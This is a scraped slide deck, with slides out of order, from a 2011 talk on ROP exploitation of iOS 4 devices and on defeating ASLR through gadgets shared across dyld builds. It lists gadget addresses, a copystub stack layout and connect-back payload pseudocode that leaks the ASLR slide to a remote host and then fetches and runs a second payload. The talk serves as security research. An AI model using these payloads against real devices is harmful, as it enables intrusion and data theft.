BabyARM - State • BabyARM works with a state • state contains CPU state • states/values of registers R0-R15 • states/values of NCVZ flags • IT block information • CPU mode (arm vs. thumb) • and system state • error condition • stop condition Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  63
BabyARM - Flag State • BabyARM emulates all four flags • Negative • Carry • oVerflow • Zero • flag state can be either • unknown - if in unknown/undefined state • value - if flag is known to be set or not set • flag value is either • set • unset Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  64
BabyARM - Register States • BabyARM emulates registers R0-R15 • registers can be in different states • unknown - if in unknown/undefined state • value - if register has a known value • stackvalue - if register was popped from stack (user-defined) • spvalue - if register is derived from the stack pointer • pcvalue - if register is derived from the instruction pointer (not implemented) • pointer - if register is a pointer to memory (not implemented) Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  65
BabyARM - Register Values • depending on register type its value means different things • unknown - value is ignored • value - value is the actual value of the register • stackvalue - value is the stack position the value was taken from • spvalue - is the actual stack pointer • pcvalue - an actual program counter value • pointer - an actual pointer into memory Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  66
Why not base on IDA or BinNavi? • IDA and BinNavi can only disassemble code as either ARM or Thumb • we can jump into ARM and 32bit Thumb instructions or Thumb IT blocks • ex.: many ARM function epilogues are also thumb function epilogues ARM - Mode __text:2FE20AD8 LDMFD SP!, {R8,R10,R11} __text:2FE20ADC LDMFD SP!, {R4-R7,PC} THUMB - Mode __text:2FE20AD8 LSRS R0, R0, #0x14 __text:2FE20ADA POP.W {R4-R7,PC} __text:2FE20ADE POP.W {R0,R11} • Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  67
Finding Gadgets • without additional properties of a crash the initial state is all unknown • we will find any gadget that pops the PC from stack and jumps to it GADGET FOUND AT 2fe01290 - PC at 28 GADGET FOUND AT 2fe013c8 - PC at 4 POP.W {r8, r10, r11, } POP {r7, pc} POP {r4, r5, r6, r7, pc} GADGET FOUND AT 2fe013f4 - PC at 0 GADGET FOUND AT 2fe016e6 - PC at 28 B 0000000a (10) AND r3, r4 POP {pc} POP.W {r8, r10, r11, } POP {r4, r5, r6, r7, pc} GADGET FOUND AT 2fe01400 - PC at 0 MOV r0, #0x0 GADGET FOUND AT 2fe01396 - PC at 4 POP {pc} POP {r4, pc} Address of gadget stack pointer the PC is taken from Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  68
Finding Gadgets - Additional Restrictions • we can add additional restrictions like setting R4 to some value • and check if returned gadgets have moved the value into R0 • we will find any gadget that moves R4 into R0 GADGET FOUND AT 2fe01f88 - PC at 20 MOV r0, r4 GADGET FOUND AT 2fe0fe32 - PC at 28 LDR R8, [R13], #+0x4! MOV r6, r4 POP {r4, r5, r6, r7, pc} MOV r0, r6 POP.W {r8, r10, r11, } GADGET FOUND AT 2fe050fa - PC at 28 POP {r4, r5, r6, r7, pc} MOV r6, r4 B 00000014 (20) GADGET FOUND AT 2fe1d84e - PC at 24 MOV r0, r6 B -00004c8 (-1224) POP.W {r8, r10, r11, } MOV r0, r4 POP {r4, r5, r6, r7, pc} POP.W {r8, r10, } POP {r4, r5, r6, r7, pc} GADGET FOUND AT 2fe074ca - PC at 16 MOV r0, r4 POP {r4, r5, r6, r7, pc} Address of gadget stack pointer the PC is taken from Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  69
Finding Gadgets - Free Branches • set all registers to state STACKVALUE in order to find more free branches • a gadget that returns the current stack pointer would be handy • just check if the gadget moved a SPVALUE into any of the registers GADGET FOUND AT 2fe03d7a - PC at 0 GADGET FOUND AT 2fe07ed4 - PC at 0 MOV r0, r6 B 000005c0 (1472) MOV r1, #0x1 MOV r1, #0x0 MOV r2, r13 MOV r0, r13 BLX r3 BLX r3 GADGET FOUND AT 2fe03d7c - PC at 0 GADGET FOUND AT 2fe08498 - PC at 0 MOV r1, #0x1 MOV r1, #0x0 MOV r2, r13 MOV r0, r13 BLX r3 BLX r3 GADGET FOUND AT 2fe03d7e - PC at 0 GADGET FOUND AT 2fe0849a - PC at 0 MOV r2, r13 MOV r0, r13 BLX r3 BLX r3 Address of gadget always 0 here because PS not taken from stack Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  70
Part VI Improving our odds with BabyARM Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  71
Using BabyARM on the dynamic linker • there are 13 dyld binaries and we group them in two groups dyld_2d2d2eb976d56a2b38fcd3f4c5d79511 # iOS 4.0 - 4.0.1 - ARM6 dyld_7974070f465bdfa83de9d63fc61849c9 # iOS 4.0 - 4.0.1 - ARM7 dyld_6e0da04bf361859a43e9438e707c55dd # iOS 4.0.2 - ARM6 dyld_0f16da1c3dbd38eae2e1dfd45a19b43e # iOS 4.0.2 - ARM7 dyld_b42ae5e64eb9ba2db9091086ae6e8499 # iOS 4.1 - ARM6 dyld_b203c4cdf84c8d5c132e69de677ad55d # iOS 4.1 - ARM7 dyld_c863ad572f68696252f71bbe70499dd4 # iOS 4.2.1 - ARM6 dyld_b0b68820c713d3d8f85b1ededf922be3 # iOS 4.2.1 - ARM7 dyld_62a459d3ca6789a3325fb0d33839120b # iOS 4.2.6 - 4.2.8 - ARM7 dyld_352edd3ede5b4deb9fcab1b4641317d2 # iOS 4.2.9 - 4.2.10 - ARM7 dyld_626a465cede176adc6691f7032f5dc9d # iOS 4.3 - 4.3.1 - ARM7 Two groups because of dyld_ebe640fee0e11c1ffafa4fd5fbb851e6 # iOS 4.3.2 - 4.3.3 - ARM7our experiments with BabyARM dyld_ae89d2d81035ba19ecd416986d569c87 # iOS 4.3.4 - 4.3.5 - ARM7 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  72
Using BabyARM on the newer linkers (I) • we load the TEXT segments of the dyld binaries into memory • and let BabyARM find all possible gadgets • we then check if there is one gadget address in common among all binaries 2fe015e8 32 dyld_c863ad572f68696252f71bbe70499dd4 <- 4.2.1 - ARM6 ['MOV r0, #0x0', 'ADD SP, #0x4', 'POP {r2, r3, r4, }', 'MOV r8, r2', 'MOV r10, r3', 'MOV r11, r4', 'POP {r4, r5, r6, r7, pc}'] 2fe015e8 4 dyld_b0b68820c713d3d8f85b1ededf922be3 <- 4.2.1 - ARM7 2fe015e8 4 dyld_62a459d3ca6789a3325fb0d33839120b <- 4.2.6 - 4.2.8 - ARM7 2fe015e8 4 dyld_352edd3ede5b4deb9fcab1b4641317d2 <- 4.2.9 - 4.2.10 - ARM7 2fe015e8 4 dyld_626a465cede176adc6691f7032f5dc9d <- 4.3 - 4.3.1 - ARM7 2fe015e8 4 dyld_ebe640fee0e11c1ffafa4fd5fbb851e6 <- 4.3.2 - 4.3.3 - ARM7 2fe015e8 4 dyld_ae89d2d81035ba19ecd416986d569c87 <- 4.3.4 - 4.3.5 - ARM7 ['POP {r7, pc}'] Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  73
Using BabyARM on the newer linkers (II) • the first gadget does only let us distinguish the first dyld binary • we retry this with the rest 2fe023e0 20 dyld_b0b68820c713d3d8f85b1ededf922be3 <- 4.2.1 - ARM7 2fe023e0 20 dyld_62a459d3ca6789a3325fb0d33839120b <- 4.2.6 - 4.2.8 - ARM7 2fe023e0 20 dyld_352edd3ede5b4deb9fcab1b4641317d2 <- 4.2.9 - 4.2.10 - ARM7 ['B 00000008 (8)', 'POP {r4, r5, r7, pc}'] 2fe023e0 24 dyld_626a465cede176adc6691f7032f5dc9d <- 4.3 - 4.3.1 - ARM7 2fe023e0 24 dyld_ebe640fee0e11c1ffafa4fd5fbb851e6 <- 4.3.2 - 4.3.3 - ARM7 2fe023e0 24 dyld_ae89d2d81035ba19ecd416986d569c87 <- 4.3.4 - 4.3.5 - ARM7 ['B 00000210 (528)', 'POP {r4, r5, r6, r7, pc}'] Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  74
Using BabyARM on the newer linkers (III) • the second gadget splits it into two more groups - try a 3rd with both 2fe076a2 52 (dyld_b0b68820c713d3d8f85b1ededf922be3) <- 4.2.1 - ARM7 2fe076a2 52 (dyld_62a459d3ca6789a3325fb0d33839120b) <- 4.2.6 - 4.2.8 - ARM7 ['B 0000006e (110)', 'POP.W {r8, r10, r11, }', 'POP {r4, r5, r6, r7, pc}'] 2fe076a2 36 (dyld_352edd3ede5b4deb9fcab1b4641317d2) <- 4.2.9 - 4.2.10 - ARM7 ['POP {r5, r6, r7, pc}'] 2fe0ab76 40 (dyld_626a465cede176adc6691f7032f5dc9d) <- 4.3 - 4.3.1 - ARM7 2fe0ab76 40 (dyld_ebe640fee0e11c1ffafa4fd5fbb851e6) <- 4.3.2 - 4.3.3 - ARM7 ['POP {r4, r5, r7, pc}'] 2fe0ab76 56 (dyld_ae89d2d81035ba19ecd416986d569c87) <- 4.3.5 - 4.3.5 - ARM7 ['LSL r3, r0, #0', 'POP.W {r8, r10, r11, }', 'POP {r4, r5, r6, r7, pc}'] Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  75
Using BabyARM on the newer linkers (III) • the second gadget splits it into two more groups - try a 3rd with both only 89 bytes different between both files 2fe076a2 52 (dyld_b0b68820c713d3d8f85b1ededf922be3) <- 4.2.1 - ARM7 2fe076a2 52 (dyld_62a459d3ca6789a3325fb0d33839120b) <- 4.2.6 - 4.2.8 - ARM7 ['B 0000006e (110)', 'POP.W {r8, r10, r11, }', 'POP {r4, r5, r6, r7, pc}'] 2fe076a2 36 (dyld_352edd3ede5b4deb9fcab1b4641317d2) <- 4.2.9 - 4.2.10 - ARM7 ['POP {r5, r6, r7, pc}'] only 66 bytes different between both files 2fe0ab76 40 (dyld_626a465cede176adc6691f7032f5dc9d) <- 4.3 - 4.3.1 - ARM7 2fe0ab76 40 (dyld_ebe640fee0e11c1ffafa4fd5fbb851e6) <- 4.3.2 - 4.3.3 - ARM7 ['POP {r4, r5, r7, pc}'] 2fe0ab76 56 (dyld_ae89d2d81035ba19ecd416986d569c87) <- 4.3.5 - 4.3.5 - ARM7 ['LSL r3, r0, #0', 'POP.W {r8, r10, r11, }', 'POP {r4, r5, r6, r7, pc}'] Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  76
Switcher Payload • ROP payload can now distinguish between all iOS 4.2.1+ dyld binaries • stack advancing gagdets let each case run into its own copystub • copystub is small GADGET FOUND AT 2fe18c8c - PC at 48 ADD SP, #0x2c POP {r4, pc} GADGET FOUND AT 2fe1bbf2 - PC at 32 POP.W {r4, r5, r6, r7, r8, r10, r12, r13, pc} GADGET FOUND AT 2fe1ed86 - PC at 44 POP.W {r1, r2, r3, r4, r8, r9, r10, r11, r12, r13, r14, pc} Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  77
Copystub • small copystub payload that copies the ROP data to a known location • and then continues execution from there • one possible location is inside the dynamic linker‘s BSS segment • writing ROP payload for a known location is easier 0x2FE0A524+1 +0 KNOWN +4 1024 +8 PSEUDOCODE for Copystub: 0x2FE19CC6+1 +12 bcopy(getCurrentSP(), KNOWNLOCATION, 1024) 0x2FE1E154 +16 setSP(KNOWNLOCATION+DELTA(PAYLOAD,COPYSTUB)) pop {r7, pc} 0x77777777 +20 0x2FE0849A+1 +24 0x44444444 +28 KNOWN+X +32 0x2FE01792+1 +36 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  78
Payload • actual payload to execute • can be anything from vibrating the iPhone, stealing a file to a kernel exploit • possible payload of choice • connect back • sends slide value + header of dyld_shared_cache_location • retrieves new payload and passes execution to it PSEUDOCODE for a connect back Payload sock = socket(2, 1, 6) c = connect(sock, sockaddr, 16) write(c, __all_images_info, 0x54) write(c, 0x30000000+slide, 256) read(c, &size, 4) read(c, KNOWNLOCATION2, size) setSP(KNOWNLOCATION2) pop {r7, pc} Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  79
Shared Payload Data • all the payloads should be very similar • just using different gadgets • but same data structures • therefore they can just share one copy of the data Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  80
One more thing ... Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  81
What about ASLR? Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  82
BabyARM vs. randomized DYLD (I) • when it comes to ASLR we concentrate on one file • we load the TEXT segment of the latest dynamic linker into memory • we let BabyARM find all gadgets • and then check if there are multiple gadgets at the same page offset GADGET FOUND AT 2fe02572 - PC AT 16 GADGET FOUND AT 2fe01554 - PC AT 0 B 0000007e (126) ADD r0, #0x80 POP {r4, r5, r6, r7, pc} POP {pc} GADGET FOUND AT 2fe06572 - PC AT 28 GADGET FOUND AT 2fe02554 - PC AT 16 POP.W {r8, r10, r11, } LSL r0, r0, #2 POP {r4, r5, r6, r7, pc} B 0000009a (154) POP {r4, r5, r6, r7, pc} GADGET FOUND AT 2fe07572 - PC AT 8 MOV r0, r4 GADGET FOUND AT 2fe07554 - PC AT 4 POP {r4, r7, pc} POP {r7, pc} GADGET FOUND AT 2fe1f572 - PC AT 16 GADGET FOUND AT 2fe1b554 - PC AT 20 B 0000025e (606) LDR R8, [R13], #+0x4! LSL r0, r0, #20 POP {r4, r5, r6, r7, pc} POP {r4, r5, r6, r7, pc} Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  83
BabyARM vs. randomized DYLD (II) slide = 0x1a000 slide = 0x14000 - - slide = 0x19000 • interpretation of results slide = 0x0 • returning to any gadget there is a 1/256 chance • but returning to 0x2fe1b554 will give a 4/256 = 1/64 chance • the actual program counter used determines the ASLR slide • the following gadgets need to take this slide into account Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  84
BabyARM vs. randomized dyld_shared_cache (I) • we load the TEXT segment of the dyld_shared_cache into memory • we let BabyARM find all the gadgets • we check for each page in the slide window if there are parallel gadgets Number of gadget Different PC collisions (max=119) locations (max=13) 150 15 100 10 50 5 0 0 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  85
BabyARM vs. randomized dyld_shared_cache (I) • interpretation of results • 119 collisions means 119/4221 = 2,8% chance to survive 1st gadget • but only 13 different PC locations = many gadgets to distinguish • it might be possible to improve the odds over the dyld case • BUT resulting payload would be hard to construct and very long Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  86
Conclusion • we have proved that multi environment gadgets can improve our odds • in the non ASLR case one ROP payload can own everything >= iOS 4.2.1 • in the ASLR case we can improve our odds but the odds are still low • attacking the dyld_shared_cache with this method is not worthwile DISCLAIMER: BabyARM does only support a very limited subset of instructions Support for more instructions might improve the number of parallel gadgets found Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  87
Questions ? Checkout my github https://github.com/stefanesser Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  88

More Related Content

PPTX
Apple Iphone 5
Mac Mustera
 
PDF
Identifying Back Doors, Attack Points, and Surveillance Mechanisms in iOS Dev...
Webrazzi
 
PDF
iOS Data Analytic Report Q2 2011
Umeng
 
PDF
IOS- Now & Then
VietnamWorks
 
PDF
Antid0te 2.0 – ASLR in iOS
Seguridad Apple
 
KEY
エキサイトでのアプリケーション開発体制
Ryuji Watanabe
 
PPTX
A Brief History of iOS
Nahum365
 
PDF
Attacking and Defending Apple iOS Devices
Tom Eston
 
Apple Iphone 5
Mac Mustera
 
Identifying Back Doors, Attack Points, and Surveillance Mechanisms in iOS Dev...
Webrazzi
 
iOS Data Analytic Report Q2 2011
Umeng
 
IOS- Now & Then
VietnamWorks
 
Antid0te 2.0 – ASLR in iOS
Seguridad Apple
 
エキサイトでのアプリケーション開発体制
Ryuji Watanabe
 
A Brief History of iOS
Nahum365
 
Attacking and Defending Apple iOS Devices
Tom Eston
 

Similar to D2 t1 stefan esser - iphone exploitation - one ro-pe to bind them all (15)

KEY
iOS and Android: Tablets for MDs
docsarsi
 
PPTX
Manualtesting
QA Club Kiev
 
PPTX
iOS: Overview, Architecture, Development & Versions
Sandra Kerbage
 
PPTX
iOS
akanksha9597
 
PPTX
Ios seminar
Kurikkal Ashique
 
KEY
友盟产品介绍报告
reAladdin
 
KEY
iOS平台形势和互联网企业如何应对移动浪潮 topgeek版
Hao Peiqiang
 
PDF
Oracle master class_ios_20121019_v1
Juan Luis Buenosvinos
 
PDF
BlackHat USA 2011 - Stefan Esser - iOS Kernel Exploitation
Stefan Esser
 
PPTX
IOS 4: Multitasking
Khatt Jah
 
PPTX
Mobile operating system (os)
AMIT GUPTA
 
PPTX
History of iOS Versions from 1.0 to 14
iFixScreens
 
PDF
Introduction to ios
Swapnali Pawar
 
PDF
iOS Ecosystem @ Fiera del Radioamatore Pordenone
Klaus Lanzarini
 
PPT
EECS 441 iPhone Messages App Presentation
akhalil08
 
iOS and Android: Tablets for MDs
docsarsi
 
Manualtesting
QA Club Kiev
 
iOS: Overview, Architecture, Development & Versions
Sandra Kerbage
 
iOS
akanksha9597
 
Ios seminar
Kurikkal Ashique
 
友盟产品介绍报告
reAladdin
 
iOS平台形势和互联网企业如何应对移动浪潮 topgeek版
Hao Peiqiang
 
Oracle master class_ios_20121019_v1
Juan Luis Buenosvinos
 
BlackHat USA 2011 - Stefan Esser - iOS Kernel Exploitation
Stefan Esser
 
IOS 4: Multitasking
Khatt Jah
 
Mobile operating system (os)
AMIT GUPTA
 
History of iOS Versions from 1.0 to 14
iFixScreens
 
Introduction to ios
Swapnali Pawar
 
iOS Ecosystem @ Fiera del Radioamatore Pordenone
Klaus Lanzarini
 
EECS 441 iPhone Messages App Presentation
akhalil08
 
Ad

Recently uploaded (20)

PDF
Getting started with AI Agents and Multi-Agent Systems
Maxim Salnikov
 
PDF
Developing a website for English-speaking practice to English as a foreign la...
IAESIJAI
 
PDF
1 - Historical Antecedents, Social Consideration.pdf
tuazon2030627
 
PDF
Convolutional neural network based encoder-decoder for efficient real-time ob...
IAESIJAI
 
PDF
How IoT Sensor Integration in 2025 is Transforming Industries Worldwide
Rejig Digital
 
PDF
sbt 2.0: go big (Scala Days 2025 edition)
Eugene Yokota
 
PDF
Comparative analysis of machine learning models for fake news detection in so...
IAESIJAI
 
PPTX
Microsoft Excel 365/2024 Beginner's training
frank yeboah
 
PPT
Galois Field Theory of Risk: A Perspective, Protocol, and Mathematical Backgr...
Melanie Swan
 
PDF
Improvisation in detection of pomegranate leaf disease using transfer learni...
IAESIJAI
 
PDF
CloudStack 4.21: First Look Webinar slides
ShapeBlue
 
PPTX
Modernising the Digital Integration Hub
Daniel Toomey
 
DOCX
search engine optimization ppt fir known well about this
StandardCodeLearning
 
PDF
Credit Without Borders: AI and Financial Inclusion in Bangladesh
Ehsan Tanim
 
PPTX
Build Your First AI Agent with UiPath.pptx
suhanisingh58689
 
PDF
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
IAESIJAI
 
PDF
OpenACC and Open Hackathons Monthly Highlights July 2025
OpenACC
 
PPTX
Configure Apache Mutual Authentication
Antonino Piraino
 
PPTX
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
SilvioHayashi
 
PPTX
2018-HIPAA-Renewal-Training for executives
Mayank Mathur
 
Getting started with AI Agents and Multi-Agent Systems
Maxim Salnikov
 
Developing a website for English-speaking practice to English as a foreign la...
IAESIJAI
 
1 - Historical Antecedents, Social Consideration.pdf
tuazon2030627
 
Convolutional neural network based encoder-decoder for efficient real-time ob...
IAESIJAI
 
How IoT Sensor Integration in 2025 is Transforming Industries Worldwide
Rejig Digital
 
sbt 2.0: go big (Scala Days 2025 edition)
Eugene Yokota
 
Comparative analysis of machine learning models for fake news detection in so...
IAESIJAI
 
Microsoft Excel 365/2024 Beginner's training
frank yeboah
 
Galois Field Theory of Risk: A Perspective, Protocol, and Mathematical Backgr...
Melanie Swan
 
Improvisation in detection of pomegranate leaf disease using transfer learni...
IAESIJAI
 
CloudStack 4.21: First Look Webinar slides
ShapeBlue
 
Modernising the Digital Integration Hub
Daniel Toomey
 
search engine optimization ppt fir known well about this
StandardCodeLearning
 
Credit Without Borders: AI and Financial Inclusion in Bangladesh
Ehsan Tanim
 
Build Your First AI Agent with UiPath.pptx
suhanisingh58689
 
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
IAESIJAI
 
OpenACC and Open Hackathons Monthly Highlights July 2025
OpenACC
 
Configure Apache Mutual Authentication
Antonino Piraino
 
MicrosoftCybserSecurityReferenceArchitecture-April-2025.pptx
SilvioHayashi
 
2018-HIPAA-Renewal-Training for executives
Mayank Mathur
 
Ad

D2 t1 stefan esser - iphone exploitation - one ro-pe to bind them all

  • 1. http://www.sektioneins.de iPhone Exploitation One ROPe to bind them all? Stefan Esser <stefan.esser@sektioneins.de>
  • 2. Who am I? Stefan Esser • from Cologne / Germany • in information security since 1998 • PHP core developer since 2001 • Month of PHP Bugs and Suhosin • recently focused on iPhone security (ASLR, jailbreak) • founder of SektionEins GmbH • currently also working as independent contractor Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  2
  • 3. What is this Session About? • this session is about the odds of successful iDevice exploitation • and how to improve them • we assume there is no information leak available • and we are exploiting a stack buffer overflow Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  3
  • 4. Part I Some Statistics Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  4
  • 5. iDevices and Versions • there are 12 iDevices supporting iOS 4 • iPod 2G/3G/4G • iPad 1/2(wifi/gsm/cdma) • iPhone 3G/3GS/4(gsm/cdma) • AppleTV (we will ignore it in this talk) • we expect iPhone 4S to only support iOS 5 • there are 16 different versions of iOS 4 • many combinations but luckily not 12 * 16 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  5
  • 6. iDevices and Versions 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 dark green are firmwares we do not iPod 4 have root filesystem keys for iPhone „only“ 81 combinations 3G iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  6
  • 7. iOS Version Statistics - Device Type iPhone iPod iPad • stats from a bigger german pc magazine 2,5% 19,1% • audience technical • visitor statistics throughout september • mostly iPhone / iPod visitors 78,4% (nearly no iPads) iPads are maybe not as common in germany Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  7
  • 8. iOS Version Statistics - iOS Major Version iOS 3 and below iOS 4 iOS 5 beta 2,8% 0,4% • a few iOS 5 beta users • still some iOS 3 users • but majority is at iOS 4 96,8% Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  8
  • 9. iOS Version Statistics - iOS Minor Version iOS 4.0 iOS 4.1 iOS 4.2 • earlier iOS 4 versions iOS 4.3 are dying out 2,0% 4,3% • still a lot at 4.2 15,6% (due to iPhone 3G) • majority at 4.3 (incl. ASLR) 78% • still 21,9% of iOS 4 users without ASLR Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  9
  • 10. iOS Version Statistics - iOS Detailed Version iOS 4.0-4.2.1 iOS 4.3 iOS 4.3.1 iOS 4.3.2 iOS 4.3.3 • about half of all iOS 4 users iOS 4.3.4 at latest version iOS 4.3.5 21,9% • 48,4% of users still vulnerable to Jailbreakme 3 exploit 48,7% 1,5% • 21,9% are even without ASLR 2,5% 2,6% • for good coverage iOS exploits 19,9% have to support multiple versions 2,9% and devices ignoring the possibility that some of the users with old versions are jailbreakers with PDF patch installed Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  10
  • 11. Part II iOS 4+ Exploitation Eras Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  11
  • 12. Three Ages of iOS 4+ Exploitation • since iOS 4.0 three ages of iOS exploitation can be distinguished • iOS 4.0 - iOS 4.2.x • iOS 4.3(.x) • iOS 5.0 • each era brought new exploit mitigations or new features Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  12
  • 13. iOS Exploitation up to iOS 4.2.x (I) • NX stack and heap are strictly enforced by the iOS kernel • code signing ensures that only code signed by Apple can be executed • any exploit must be 100% ROP • no ASLR in iOS exception jailbroken iPhones but even there any exploit must start with a ROP payload some protections were not available in iOS 3 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  13
  • 14. iOS Exploitation up to iOS 4.2.x (II) • since iPhoneOS / iOS 3.x shared libraries disappeared from the devices • Apple moved all libraries into dyld_shared_cache • dyld_shared_cache is always paged in at 0x30000000 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  14
  • 15. iOS Exploitation up to iOS 4.2.x (III) • segment splitting of libraries inside shared cache • cache is generated when firmware is packed • on generation a random load order is selected Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  15
  • 16. iOS Exploitation up to iOS 4.2.x (IV) /usr/lib/libSystem.B.dylib iPhone 4 iPod 4 iPad • base address of libraries inode 0x0933DE37 0x0933DE37 0x0933DE37 different for each device and mtime 0x4CC1050A 0x4CC1050A 0x4CC1050A firmware version base 0x33B5C000 0x31092000 0x30D03000 • ROP payload depends on device and firmware version /usr/lib/libobjc.dylib iPhone 4 iPod 4 iPad • but libraries usually the same inode 0x093AF2FC 0x093AF2FC 0x093AF2FC across all devices mtime 0x4CC10998 0x4CC10998 0x4CC10998 base 0x33476000 0x33A03000 0x34A7D000 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  16
  • 17. iOS Exploitation in iOS 4.3(.x) (I) • Addition of dynamic code-signing to allow JIT compilation in MobileSafari • weakens the NX protection • Charlie Miller has a whole talk about this at SyScan Taipei 2011 • Addition of ASLR • randomizes dyld, dyld_shared_cache and main binary Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  17
  • 18. Randomization of Main Binary TestiPAD:~ root# ./test Address Tester • with the new SDK applications are Stack: 0x2fea0be0 compiled as position independent Code: 0xa3e55 executables malloc_small: 0x1c8e7e00 malloc_large: 0xc1000 printf: 0x36735dd1 • sets MH_PIE flag in mach-o _dyld_get_image_header(0): 0xa2000 header and adds relocation information TestiPAD:~ root# ./test Address Tester Stack: 0x2fecbbe0 • no TEXT relocations therefore no Code: 0xcee55 problem with code-signing malloc_small: 0x1f861200 malloc_large: 0xec000 • Applications using older SDK printf: 0x36735dd1 _dyld_get_image_header(0): 0xcd000 cannot be randomized ➡ but all popular applications like Twitter, Facebook use older SDK Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  18
  • 19. Randomization of Dyld • dyld was already a MH_PIE binary in older iOS versions • now randomization is done by the kernel on load • however dyld is only slided the same amount as the main binary • therefore it is not moved if the main binary is not a PIE Num Basename Type Address Reason | | Source | | | | | | | | 1 test - 0x75000 exec Y Y /private/var/root/test at 0x75000 (offset 0x74000) 2 dyld - 0x2fe74000 dyld Y Y /usr/lib/dyld at 0x2fe74000 (offset 0x74000) with ... Num Basename Type Address Reason | | Source | | | | | | | | 1 test - 0xc8000 exec Y Y /private/var/root/test at 0xc8000 (offset 0xc7000) 2 dyld - 0x2fec7000 dyld Y Y /usr/lib/dyld at 0x2fec7000 (offset 0xc7000) with ... Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  19
  • 20. How Random is the Baseaddress? • randomized on page boundary • only 256 possible base addresses between 0x1000 and 0x100000 500 250 0 Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  20
  • 21. dyld_shared_cache sliding in dyld • dyld has always been responsible for mapping the shared cache • now it loads it at a random base address • and tells the kernel about it (via new syscall) • due to dyld_shared_cache structure only about 4200 different base addresses Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  21
  • 22. iOS Exploitation in iOS 4.3(.x) - Summary • Addition of ASLR means • new applications at 256 different load addresses for dyld / main • not only 48 different load addresses for the cache • but about 48 * 4200 possible load addresses • the odds to randomly select the right one is about 1 in 200k • For old apps going after dynamic linker or main binary for sure • For new apps going after the dynamic linker seems more promising Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  22
  • 23. iOS Exploitation in iOS 5 • just released • therefore no full analysis yet • but it seems dyld is now always randomized • going after main binary for backward compatible apps seems best Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  23
  • 24. Part III Cheating the Odds - Attacking the Dynamic Linker Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  24
  • 25. Attacking the Dynamic Linker • the odds to hit a ROP gadget in dyld_shared_cache is 1 in 200k • the dynamic linker dyld seems to be the weakest spot in iOS • we did more analysis about the dynamic linker in iOS Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  25
  • 26. iDevices and Versions 4.0 4.0.1 4.0.2 4.1 4.2.1 4.2.6 4.2.7 4.2.8 4.2.9 4.2.10 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 iPod 2 iPod 3 Remember this slide ??? iPod 4 „only“ 81 combinations 33 combinations iPhone without ASLR 3G iPhone 3GS iPhone 4 GSM iPhone 4 CDMA iPad 1 iPad 2 WIFI iPad 2 GSM iPad 2 CDMA Stefan Esser • iPhone Exploitation - One ROPe to bind them all? • October 2011 •  26
